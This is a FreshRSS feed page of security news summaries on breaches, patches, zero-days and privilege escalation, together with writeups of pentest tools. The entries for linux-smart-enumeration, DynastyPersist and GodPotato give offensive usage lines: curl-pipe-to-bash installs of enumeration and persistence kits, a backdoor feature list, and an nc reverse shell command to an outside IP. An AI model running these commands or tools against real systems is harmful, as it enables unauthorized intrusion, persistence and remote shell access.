FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
☷
β–³ πŸ”ƒ
There are new available articles, click to refresh the page.
Before yesterdayYour RSS feeds

Hackers Created Rogue VMs to Evade Detection in Recent MITRE Cyber Attack

By: Newsroom
The MITRE Corporation has revealed that the cyber attack targeting the not-for-profit company towards late December 2023 by exploiting zero-day flaws in Ivanti Connect Secure (ICS) involved the threat actor creating rogue virtual machines (VMs) within its VMware environment. "The adversary created their own rogue VMs within the VMware environment, leveraging compromised vCenter Server access,"

Linux-Smart-Enumeration - Linux Enumeration Tool For Pentesting And CTFs With Verbosity Levels

By: Zion3R


First, a couple of useful oneliners ;)

wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh

Note that since version 2.10 you can serve the script to other hosts with the -S flag!


linux-smart-enumeration

Linux enumeration tools for pentesting and CTFs

This project was inspired by https://github.com/rebootuser/LinEnum and uses many of its tests.

Unlike LinEnum, lse tries to gradualy expose the information depending on its importance from a privesc point of view.

What is it?

This shell script will show relevant information about the security of the local Linux system, helping to escalate privileges.

From version 2.0 it is mostly POSIX compliant and tested with shellcheck and posh.

It can also monitor processes to discover recurrent program executions. It monitors while it is executing all the other tests so you save some time. By default it monitors during 1 minute but you can choose the watch time with the -p parameter.

It has 3 levels of verbosity so you can control how much information you see.

In the default level you should see the highly important security flaws in the system. The level 1 (./lse.sh -l1) shows interesting information that should help you to privesc. The level 2 (./lse.sh -l2) will just dump all the information it gathers about the system.

By default it will ask you some questions: mainly the current user password (if you know it ;) so it can do some additional tests.

How to use it?

The idea is to get the information gradually.

First you should execute it just like ./lse.sh. If you see some green yes!, you probably have already some good stuff to work with.

If not, you should try the level 1 verbosity with ./lse.sh -l1 and you will see some more information that can be interesting.

If that does not help, level 2 will just dump everything you can gather about the service using ./lse.sh -l2. In this case you might find useful to use ./lse.sh -l2 | less -r.

You can also select what tests to execute by passing the -s parameter. With it you can select specific tests or sections to be executed. For example ./lse.sh -l2 -s usr010,net,pro will execute the test usr010 and all the tests in the sections net and pro.

Use: ./lse.sh [options]

 OPTIONS
  -c           Disable color
  -i           Non interactive mode
  -h           This help
  -l LEVEL     Output verbosity level
                 0: Show highly important results. (default)
                 1: Show interesting results.
                 2: Show all gathered information.
  -s SELECTION Comma separated list of sections or tests to run. Available
               sections:
                 usr: User related tests.
                 sud: Sudo related tests.
                 fst: File system related tests.
                 sys: System related tests.
                 sec: Security measures related tests.
                 ret: Recurren tasks (cron, timers) related tests.
                 net: Network related tests.
                 srv: Services related tests.
                 pro: Processes related tests.
                 sof: Software related tests.
                 ctn: Container (docker, lxc) related tests.
                 cve: CVE related tests.
               Specific tests can be used with their IDs (i.e.: usr020,sud)
  -e PATHS     Comma separated list of paths to exclude. This allows you
               to do faster scans at the cost of completeness
  -p SECONDS   Time that the process monitor will spend watching for
               processes. A value of 0 will disable any watch (default: 60)
  -S           Serve the lse.sh script in this host so it can be retrieved
               from a remote host.

Is it pretty?

Usage demo

Also available in webm video


Level 0 (default) output sample


Level 1 verbosity output sample


Level 2 verbosity output sample


Examples

Direct execution oneliners

bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i


Microsoft Patches 61 Flaws, Including Two Actively Exploited Zero-Days

By: Newsroom
Microsoft has addressed&nbsp;a total of&nbsp;61 new security flaws&nbsp;in its software as part of its Patch Tuesday updates for May 2024, including two zero-days&nbsp;which&nbsp;have&nbsp;been actively exploited&nbsp;in the wild. Of the 61 flaws, one is rated Critical, 59 are rated Important, and one is rated Moderate in severity.&nbsp;This&nbsp;is in&nbsp;addition to&nbsp;30 vulnerabilities&

Severe Vulnerabilities in Cinterion Cellular Modems Pose Risks to Various Industries

By: Newsroom
Cybersecurity researchers have disclosed multiple security flaws in Cinterion cellular modems that could be potentially exploited by threat actors to access sensitive information and achieve code execution. "These vulnerabilities include critical flaws that permit remote code execution and unauthorized privilege escalation, posing substantial risks to integral communication networks and IoT

The Fundamentals of Cloud Security Stress Testing

By: The Hacker News
Χ΄Defenders think in lists, attackers think in graphs,” said John Lambert from Microsoft, distilling the fundamental difference in mindset between those who defend IT systems and those who try to compromise them. The traditional approach for defenders is to list security gaps directly related to their assets in the network and eliminate as many as possible, starting with the most critical.

New 'Cuckoo' Persistent macOS Spyware Targeting Intel and Arm Macs

By: Newsroom
Cybersecurity researchers have discovered a new information stealer targeting Apple macOS systems that's designed to set up persistence on the infected hosts and act as a spyware. Dubbed&nbsp;Cuckoo&nbsp;by Kandji, the malware is a universal Mach-O binary that's capable of running on both Intel- and Arm-based Macs. The exact distribution vector is currently unclear, although there are

Russia's APT28 Exploited Windows Print Spooler Flaw to Deploy 'GooseEgg' Malware

By: Newsroom
The Russia-linked nation-state threat actor tracked as&nbsp;APT28&nbsp;weaponized a security flaw in the Microsoft Windows Print Spooler component to deliver a previously unknown custom malware called GooseEgg. The post-compromise tool,&nbsp;which is&nbsp;said to have&nbsp;been used&nbsp;since at least June 2020 and possibly as early as April 2019, leveraged a now-patched flaw that allowed for

Akira Ransomware Gang Extorts $42 Million; Now Targets Linux Servers

By: Newsroom
Threat actors behind the Akira ransomware group have extorted approximately $42 million in illicit proceeds after breaching the networks of more than 250 victims as of January 1, 2024. "Since March 2023, Akira ransomware has impacted a wide range of businesses and critical infrastructure entities in North America, Europe, and Australia," cybersecurity agencies from the Netherlands and the U.S.,

Hackers Exploit OpenMetadata Flaws to Mine Crypto on Kubernetes

By: Newsroom
Threat actors are actively exploiting critical vulnerabilities in OpenMetadata to gain unauthorized access to Kubernetes workloads and leverage them for cryptocurrency mining activity. That's according to the Microsoft Threat Intelligence team, which&nbsp;said&nbsp;the flaws have been weaponized since the start of April 2024. OpenMetadata is an&nbsp;open-source platform&nbsp;that operates as a

Muddled Libra Shifts Focus to SaaS and Cloud for Extortion and Data Theft Attacks

By: Newsroom
The threat actor known as&nbsp;Muddled Libra&nbsp;has been observed actively targeting software-as-a-service (SaaS) applications and cloud service provider (CSP) environments in a bid to exfiltrate sensitive data. "Organizations often store a variety of data in SaaS applications and use services from CSPs," Palo Alto Networks Unit 42&nbsp;said&nbsp;in a report published last week. "The threat

Timing is Everything: The Role of Just-in-Time Privileged Access in Security Evolution

By: The Hacker News
To minimize the risk of privilege misuse, a trend in the privileged access management (PAM) solution market involves implementing just-in-time (JIT) privileged access. This approach to&nbsp;privileged identity management&nbsp;aims to mitigate the risks associated with prolonged high-level access by granting privileges temporarily and only when necessary, rather than providing users with

Microsoft Fixes 149 Flaws in Huge April Patch Release, Zero-Days Included

By: Newsroom
Microsoft has released security updates for the month of April 2024 to remediate a record&nbsp;149 flaws, two of which have come under active exploitation in the wild. Of the 149 flaws, three are rated Critical, 142 are rated Important, three are rated Moderate, and one is rated Low in severity. The update is aside from&nbsp;21 vulnerabilities&nbsp;that the company addressed in its

CISA Warns: Hackers Actively Attacking Microsoft SharePoint Vulnerability

By: Newsroom
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has&nbsp;added&nbsp;a security flaw impacting Microsoft Sharepoint Server to its Known Exploited Vulnerabilities (KEV) catalog based on evidence of active exploitation in the wild. The vulnerability, tracked as CVE-2023-24955 (CVSS score: 7.2), is a critical remote code execution flaw that allows an authenticated attacker with Site

Microsoft Edge Bug Could Have Allowed Attackers to Silently Install Malicious Extensions

By: Newsroom
A now-patched security flaw in the Microsoft Edge web browser could have been abused to install arbitrary extensions on users' systems and carry out malicious actions.&nbsp; "This flaw could have allowed an attacker to exploit a private API, initially intended for marketing purposes, to covertly install additional browser extensions with broad permissions without the user's knowledge," Guardio

WordPress Admins Urged to Remove miniOrange Plugins Due to Critical Flaw

By: Newsroom
WordPress users of miniOrange's Malware Scanner and Web Application Firewall plugins are being urged to delete them from their websites following the discovery of a critical security flaw. The flaw, tracked as&nbsp;CVE-2024-2172, is rated 9.8 out of a maximum of 10 on the CVSS scoring system and discovered by Stiofan. It impacts the following versions of the two plugins - Malware Scanner&nbsp;(

Microsoft's March Updates Fix 61 Vulnerabilities, Including Critical Hyper-V Flaws

By: Newsroom
Microsoft on Tuesday released its monthly security update,&nbsp;addressing 61 different security flaws&nbsp;spanning its software, including two critical issues impacting Windows Hyper-V that could lead to denial-of-service (DoS) and remote code execution. Of the 61 vulnerabilities, two are rated Critical, 58 are rated Important, and one is rated Low in severity. None of the flaws are listed as

Cisco Issues Patch for High-Severity VPN Hijacking Bug in Secure Client

By: Newsroom
Cisco has released patches to address a high-severity security flaw impacting its Secure Client software that could be exploited by a threat actor to open a VPN session with that of a targeted user. The networking equipment company described the vulnerability, tracked as CVE-2024-20337 (CVSS score: 8.2), as allowing an unauthenticated, remote attacker to conduct a carriage return line feed (CRLF

Lazarus Hackers Exploited Windows Kernel Flaw as Zero-Day in Recent Attacks

By: Newsroom
The notorious Lazarus Group actors exploited a recently patched privilege escalation flaw in the Windows Kernel as a zero-day to obtain kernel-level access and disable security software on compromised hosts. The vulnerability in question is&nbsp;CVE-2024-21338&nbsp;(CVSS score: 7.8), which can permit an attacker to gain SYSTEM privileges. It was resolved by Microsoft earlier this month as part

WordPress LiteSpeed Plugin Vulnerability Puts 5 Million Sites at Risk

By: Newsroom
A security vulnerability has been disclosed in the LiteSpeed Cache plugin for WordPress that could enable unauthenticated users to escalate their privileges. Tracked as&nbsp;CVE-2023-40000, the vulnerability was addressed in October 2023 in version 5.7.0.1. "This plugin suffers from unauthenticated site-wide stored [cross-site scripting] vulnerability and could allow any unauthenticated user

Critical Exchange Server Flaw (CVE-2024-21410) Under Active Exploitation

By: Newsroom
Microsoft on Wednesday acknowledged that a newly disclosed critical security flaw in Exchange Server has been actively exploited in the wild, a day after it released fixes for the vulnerability as part of its&nbsp;Patch Tuesday updates. Tracked as&nbsp;CVE-2024-21410&nbsp;(CVSS score: 9.8), the issue has been described as a case of privilege escalation impacting the Exchange Server. "An attacker

Raspberry Robin Malware Upgrades with Discord Spread and New Exploits

By: Newsroom
The operators of&nbsp;Raspberry Robin&nbsp;are now using two new one-day exploits to achieve local privilege escalation, even as the malware continues to be refined and improved to make it stealthier than before. This means that "Raspberry Robin has access to an exploit seller or its authors develop the exploits themselves in a short period of time," Check Point&nbsp;said&nbsp;in a report this

Critical Patches Released for New Flaws in Cisco, Fortinet, VMware Products

By: Newsroom
Cisco, Fortinet, and VMware have released security fixes for multiple security vulnerabilities, including critical weaknesses that could be exploited to perform arbitrary actions on affected devices. The first set from Cisco consists of three flaws – CVE-2024-20252 and CVE-2024-20254 (CVSS score: 9.6) and CVE-2024-20255 (CVSS score: 8.2) – impacting Cisco Expressway Series that could allow an

Experts Detail New Flaws in Azure HDInsight Spark, Kafka, and Hadoop Services

By: Newsroom
Three new security vulnerabilities have been discovered in Azure HDInsight's Apache&nbsp;Hadoop,&nbsp;Kafka, and&nbsp;Spark&nbsp;services that could be exploited to achieve privilege escalation and a regular expression denial-of-service (ReDoS) condition. "The new vulnerabilities affect any authenticated user of Azure HDInsight services such as Apache Ambari and Apache Oozie," Orca security

Russian APT28 Hackers Targeting High-Value Orgs with NTLM Relay Attacks

By: Newsroom
Russian state-sponsored actors have staged NT LAN Manager (NTLM) v2 hash relay attacks through various methods from April 2022 to November 2023, targeting high-value targets worldwide. The attacks, attributed to an "aggressive" hacking crew called&nbsp;APT28, have set their eyes on organizations dealing with foreign affairs, energy, defense, and transportation, as well as those involved with

FritzFrog Returns with Log4Shell and PwnKit, Spreading Malware Inside Your Network

By: Newsroom
The threat actor behind a peer-to-peer (P2P) botnet known as&nbsp;FritzFrog&nbsp;has made a return with a new variant that leverages the&nbsp;Log4Shell vulnerability&nbsp;to propagate internally within an already compromised network. "The vulnerability is exploited in a brute-force manner that attempts to target as many vulnerable Java applications as possible," web infrastructure and security

RunC Flaws Enable Container Escapes, Granting Attackers Host Access

By: Newsroom
Multiple security vulnerabilities have been disclosed in the runC command line tool that could be exploited by threat actors to escape the bounds of the container and stage follow-on attacks. The vulnerabilities, tracked as CVE-2024-21626, CVE-2024-23651, CVE-2024-23652, and CVE-2024-23653, have been collectively dubbed&nbsp;Leaky Vessels&nbsp;by cybersecurity vendor Snyk. "These container

New Glibc Flaw Grants Attackers Root Access on Major Linux Distros

By: Newsroom
Malicious local attackers can obtain full root access on Linux machines by taking advantage of a newly disclosed security flaw in the GNU C library (aka glibc). Tracked as CVE-2023-6246 (CVSS score: 7.8), the heap-based buffer overflow vulnerability is rooted in glibc's __vsyslog_internal() function, which is used by&nbsp;syslog() and vsyslog()&nbsp;for system logging purposes. It's said to have

Critical Cisco Flaw Lets Hackers Remotely Take Over Unified Comms Systems

By: Newsroom
Cisco has released patches to address a critical security flaw impacting Unified Communications and Contact Center Solutions products that could permit an unauthenticated, remote attacker to execute arbitrary code on an affected device. Tracked as&nbsp;CVE-2024-20253&nbsp;(CVSS score: 9.9), the issue stems from improper processing of user-provided data that a threat actor could abuse to send a

Webinar: The Art of Privilege Escalation - How Hackers Become Admins

By: The Hacker News
In the digital age, the battleground for security professionals is not only evolving, it's expanding at an alarming rate. The upcoming webinar, "The Art of Privilege Escalation - How Hackers Become Admins," offers an unmissable opportunity for IT security experts to stay ahead in this relentless cyber war. Privilege escalation - the term might sound benign, but in the hands of a skilled hacker,

GitHub Rotates Keys After High-Severity Vulnerability Exposes Credentials

By: Newsroom
GitHub has revealed that it has rotated some keys in response to a security vulnerability that could be potentially exploited to gain access to credentials within a production container. The Microsoft-owned subsidiary said it was made aware of the problem on December 26, 2023, and that it addressed the issue the same day, in addition to rotating all potentially exposed credentials out of an

29-Year-Old Ukrainian Cryptojacking Kingpin Arrested for Exploiting Cloud Services

By: Newsroom
A 29-year-old Ukrainian national has been arrested in connection with running a β€œsophisticated cryptojacking scheme,” netting them over $2 million (€1.8 million) in illicit profits. The person, described as the β€œmastermind” behind the operation, was apprehended in Mykolaiv, Ukraine, on January 9 by the National Police of Ukraine with support from Europol and an unnamed cloud service provider

Act Now: CISA Flags Active Exploitation of Microsoft SharePoint Vulnerability

By: Newsroom
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has&nbsp;added&nbsp;a critical security vulnerability impacting Microsoft SharePoint Server to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The issue, tracked as&nbsp;CVE-2023-29357&nbsp;(CVSS score: 9.8), is a privilege escalation flaw that could be exploited by an attacker to gain

Microsoft's January 2024 Windows Update Patches 48 New Vulnerabilities

By: Newsroom
Microsoft has addressed a total of&nbsp;48 security flaws&nbsp;spanning its software as part of its Patch Tuesday updates for January 2024. Of the 48 bugs, two are rated Critical and 46 are rated Important in severity. There is no evidence that any of the issues are publicly known or under active attack at the time of release, making it the second consecutive Patch Tuesday with no zero-days. The

New Variant of DLL Search Order Hijacking Bypasses Windows 10 and 11 Protections

By: Newsroom
Security researchers have detailed a new variant of a dynamic link library (DLL) search order hijacking technique that could be used by threat actors to bypass security mechanisms and achieve execution of malicious code on systems running Microsoft Windows 10 and Windows 11. The approach "leverages executables commonly found in the trusted WinSxS folder and exploits them via the classic DLL

VED-eBPF - Kernel Exploit And Rootkit Detection Using eBPF

By: Zion3R


VED (Vault Exploit Defense)-eBPF leverages eBPF (extended Berkeley Packet Filter) to implement runtime kernel security monitoring and exploit detection for Linux systems.

Introduction

eBPF is an in-kernel virtual machine that allows code execution in the kernel without modifying the kernel source itself. eBPF programs can be attached to tracepoints, kprobes, and other kernel events to efficiently analyze execution and collect data.

VED-eBPF uses eBPF to trace security-sensitive kernel behaviors and detect anomalies that could indicate an exploit or rootkit. It provides two main detections:

  • wCFI (Control Flow Integrity) traces the kernel call stack to detect control flow hijacking attacks. It works by generating a bitmap of valid call sites and validating each return address matches a known callsite.

  • PSD (Privilege Escalation Detection) traces changes to credential structures in the kernel to detect unauthorized privilege escalations.


How it Works

VED-eBPF attaches eBPF programs to kernel functions to trace execution flows and extract security events. The eBPF programs submit these events via perf buffers to userspace for analysis.

wCFI

wCFI traces the call stack by attaching to functions specified on the command line. On each call, it dumps the stack, assigns a stack ID, and validates the return addresses against a precomputed bitmap of valid call sites generated from objdump and /proc/kallsyms.

If an invalid return address is detected, indicating a corrupted stack, it generates a wcfi_stack_event containing:

* Stack trace
* Stack ID
* Invalid return address

This security event is submitted via perf buffers to userspace.

The wCFI eBPF program also tracks changes to the stack pointer and kernel text region to keep validation up-to-date.

PSD

PSD traces credential structure modifications by attaching to functions like commit_creds and prepare_kernel_cred. On each call, it extracts information like:

* Current process credentials
* Hashes of credentials and user namespace
* Call stack

It compares credentials before and after the call to detect unauthorized changes. If an illegal privilege escalation is detected, it generates a psd_event containing the credential fields and submits it via perf buffers.

Prerequsites

VED-eBPF requires:

  • Linux kernel v5.17+ (tested on v5.17)
  • eBPF support enabled
  • BCC toolkit

Current Status

VED-eBPF is currently a proof-of-concept demonstrating the potential for eBPF-based kernel exploit and rootkit detection. Ongoing work includes:

  • Expanding attack coverage
  • Performance optimization
  • Additional kernel versions
  • Integration with security analytics

Conclusion

VED-eBPF shows the promise of eBPF for building efficient, low-overhead kernel security monitoring without kernel modification. By leveraging eBPF tracing and perf buffers, critical security events can be extracted in real-time and analyzed to identify emerging kernel threats for cloud native envionrment.



Carbanak Banking Malware Resurfaces with New Ransomware Tactics

By: Newsroom
The banking malware known as&nbsp;Carbanak&nbsp;has been observed being used in&nbsp;ransomware attacks&nbsp;with updated tactics. "The malware has adapted to incorporate attack vendors and techniques to diversify its effectiveness," cybersecurity firm NCC Group&nbsp;said&nbsp;in an analysis of ransomware attacks that took place in November 2023. "Carbanak returned last month through new

Bug or Feature? Hidden Web Application Vulnerabilities Uncovered

By: The Hacker News
Web Application Security consists of a myriad of security controls that ensure that a web application: Functions as expected. Cannot be exploited to operate out of bounds. Cannot initiate operations that it is not supposed to do. Web Applications have become ubiquitous after the expansion of Web 2.0, which Social Media Platforms, E-Commerce websites, and email clients saturating the internet

Russian SVR-Linked APT29 Targets JetBrains TeamCity Servers in Ongoing Attacks

By: Newsroom
Threat actors affiliated with the Russian Foreign Intelligence Service (SVR) have targeted unpatched JetBrains TeamCity servers in widespread attacks since September 2023. The activity has been tied to a nation-state group known as&nbsp;APT29, which is also tracked as BlueBravo, Cloaked Ursa, Cozy Bear, Midnight Blizzard (formerly Nobelium), and The Dukes. It's notable for the supply chain

Microsoft Warns of Kremlin-Backed APT28 Exploiting Critical Outlook Vulnerability

By: Newsroom
Microsoft on Monday said it detected Kremlin-backed nation-state activity exploiting a now-patched critical security flaw in its Outlook email service to gain unauthorized access to victims' accounts within Exchange servers. The tech giant&nbsp;attributed&nbsp;the intrusions to a threat actor it called&nbsp;Forest Blizzard&nbsp;(formerly Strontium), which is also widely tracked under the

Design Flaw in Google Workspace Could Let Attackers Gain Unauthorized Access

By: Newsroom
Cybersecurity researchers have detailed a "severe design flaw" in Google Workspace's domain-wide delegation (DWD) feature that could be exploited by threat actors to facilitate privilege escalation and obtain unauthorized access to Workspace APIs without super admin privileges. "Such exploitation could result in theft of emails from Gmail, data exfiltration from Google Drive, or other

DynastyPersist - A Linux Persistence Tool!

By: Zion3R


  • A Linux persistence tool!

  • A powerful and versatile Linux persistence script designed for various security assessment and testing scenarios. This script provides a collection of features that demonstrate different methods of achieving persistence on a Linux system.


Features

  1. SSH Key Generation: Automatically generates SSH keys for covert access.

  2. Cronjob Persistence: Sets up cronjobs for scheduled persistence.

  3. Custom User with Root: Creates a custom user with root privileges.

  4. RCE Persistence: Achieves persistence through remote code execution.

  5. LKM/Rootkit: Demonstrates Linux Kernel Module (LKM) based rootkit persistence.

  6. Bashrc Persistence: Modifies user-specific shell initialization files for persistence.

  7. Systemd Service for Root: Sets up a systemd service for achieving root persistence.

  8. LD_PRELOAD Privilege Escalation Config: Configures LD_PRELOAD for privilege escalation.

  9. Backdooring Message of the Day / Header: Backdoors system message display for covert access.

  10. Modify an Existing Systemd Service: Manipulates an existing systemd service for persistence.

Usage

  1. Clone this repository to your local machine:

    git clone https://github.com/Trevohack/DynastyPersist.git

  2. One linear

    curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash

Support

For support, email spaceshuttle.io.all@gmail.com or join our Discord server.

  • Discord: https://discord.gg/WYzu65Hp

Thank You!



CacheWarp Attack: New Vulnerability in AMD SEV Exposes Encrypted VMs

By: Newsroom
A group of academics has disclosed a new "software fault attack" on AMD's Secure Encrypted Virtualization (SEV) technology that could be potentially exploited by threat actors to infiltrate encrypted virtual machines (VMs) and even perform privilege escalation. The attack has been codenamedΒ CacheWarpΒ (CVE-2023-20592) by researchers from the CISPA Helmholtz Center for Information Security and the

Cisco Zero-Day Exploited to Implant Malicious Lua Backdoor on Thousands of Devices

By: Newsroom
Cisco has warned of a new zero-day flaw in IOS XE that has been actively exploited by an unknown threat actor to deploy aΒ malicious Lua-based implantΒ on susceptible devices. Tracked asΒ CVE-2023-20273Β (CVSS score: 7.2), the issue relates to a privilege escalation flaw in the web UI feature and is said to have been used alongside CVE-2023-20198 (CVSS score: 10.0) as part of an exploit chain. "The

Looney Tunables: New Linux Flaw Enables Privilege Escalation on Major Distributions

By: Newsroom
A new Linux security vulnerability dubbed Looney Tunables has been discovered in the GNU C library's ld.so dynamic loader that, if successfully exploited, could lead to a local privilege escalation and allow a threat actor to gain root privileges. Tracked asΒ CVE-2023-4911Β (CVSS score: 7.8), the issue is a buffer overflow that resides in the dynamic loader's processing of theΒ GLIBC_TUNABLES

Critical Security Flaws Exposed in Nagios XI Network Monitoring Software

By: THN
Multiple security flaws have been disclosed in the Nagios XI network monitoring software that could result in privilege escalation and information disclosure. The four security vulnerabilities, tracked from CVE-2023-40931 through CVE-2023-40934, impact Nagios XI versions 5.11.1 and lower. Following responsible disclosure on August 4, 2023, They have beenΒ patchedΒ as of September 11, 2023, with

Zero-Day Alert: Latest Android Patch Update Includes Fix for Newly Actively Exploited Flaw

By: THN
Google has rolled out monthly security patches for Android to address a number of flaws, including a zero-day bug that it said may have been exploited in the wild. Tracked asΒ CVE-2023-35674, the high-severity vulnerability is described as a case of privilege escalation impacting theΒ Android Framework. β€œThere are indications that CVE-2023-35674 may be under limited, targeted exploitation,” the

Okta Warns of Social Engineering Attacks Targeting Super Administrator Privileges

By: THN
Identity services provider Okta on Friday warned of social engineering attacks orchestrated by threat actors to obtain elevated administrator permissions. β€œIn recent weeks, multiple U.S.-based Okta customers have reported a consistent pattern of social engineering attacks against IT service desk personnel, in which the caller’s strategy was to convince service desk personnel to reset all

Experts Uncover How Cybercriminals Could Exploit Microsoft Entra ID for Elevated Privilege

By: THN
Cybersecurity researchers have discovered a case of privilege escalation associated with a Microsoft Entra ID (formerly Azure Active Directory) application by taking advantage of an abandoned reply URL. "An attacker could leverage this abandoned URL to redirect authorization codes to themselves, exchanging the ill-gotten authorization codes for access tokens," Secureworks Counter Threat Unit (

NoFilter Attack: Sneaky Privilege Escalation Method Bypasses Windows Security

By: THN
A previously undetected attack method calledΒ NoFilterΒ has been found to abuse the Windows Filtering Platform (WFP) to achieve privilege escalation in the Windows operating system. "If an attacker has the ability to execute code with admin privilege and the target is to performΒ LSASS Shtinkering, these privileges are not enough," Ron Ben Yizhak, a security researcher at Deep Instinct, told The

Critical Zero-Days in Atera Windows Installers Expose Users to Privilege Escalation Attacks

By: THN
Zero-day vulnerabilities in Windows Installers for the Atera remote monitoring and management software could act as a springboard to launch privilege escalation attacks. The flaws, discovered by Mandiant on February 28, 2023, have been assigned the identifiersΒ CVE-2023-26077Β andΒ CVE-2023-26078, with the issues remediated in versions 1.8.3.7 and 1.8.4.9 released by Atera on April 17, 2023, and

Bad.Build Flaw in Google Cloud Build Raises Concerns of Privilege Escalation

By: THN
Cybersecurity researchers have uncovered a privilege escalation vulnerability in Google Cloud that could enable malicious actors tamper with application images and infect users, leading to supply chain attacks. The issue, dubbedΒ Bad.Build, is rooted in theΒ Google Cloud Build service, according to cloud security firm Orca, which discovered and reported the issue. "By abusing the flaw and enabling

GodPotato - Local Privilege Escalation Tool From A Windows Service Accounts To NT AUTHORITY\SYSTEM

By: Zion3R


Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022, now as long as you have "ImpersonatePrivilege" permission. Then you are "NT AUTHORITY\SYSTEM", usually WEB services and database services have "ImpersonatePrivilege" permissions.


Potato privilege escalation is usually used when we obtain WEB/database privileges. We can elevate a service user with low privileges to "NT AUTHORITY\SYSTEM" privileges. However, the historical Potato has no way to run on the latest Windows system. When I was researching DCOM, I found a new method that can perform privilege escalation. There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system. , so it can run on almost any Windows OS, I named it GodPotato

Affected version

Windows Server 2012 - Windows Server 2022 Windows8 - Windows 11

Example

Use the program's built-in Clsid for privilege escalation and execute a simple command 
GodPotato -cmd "cmd /c whoami"

Customize Clsid and execute commands

Execute reverse shell commands

GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

Thanks

zcgonvh

skay



❌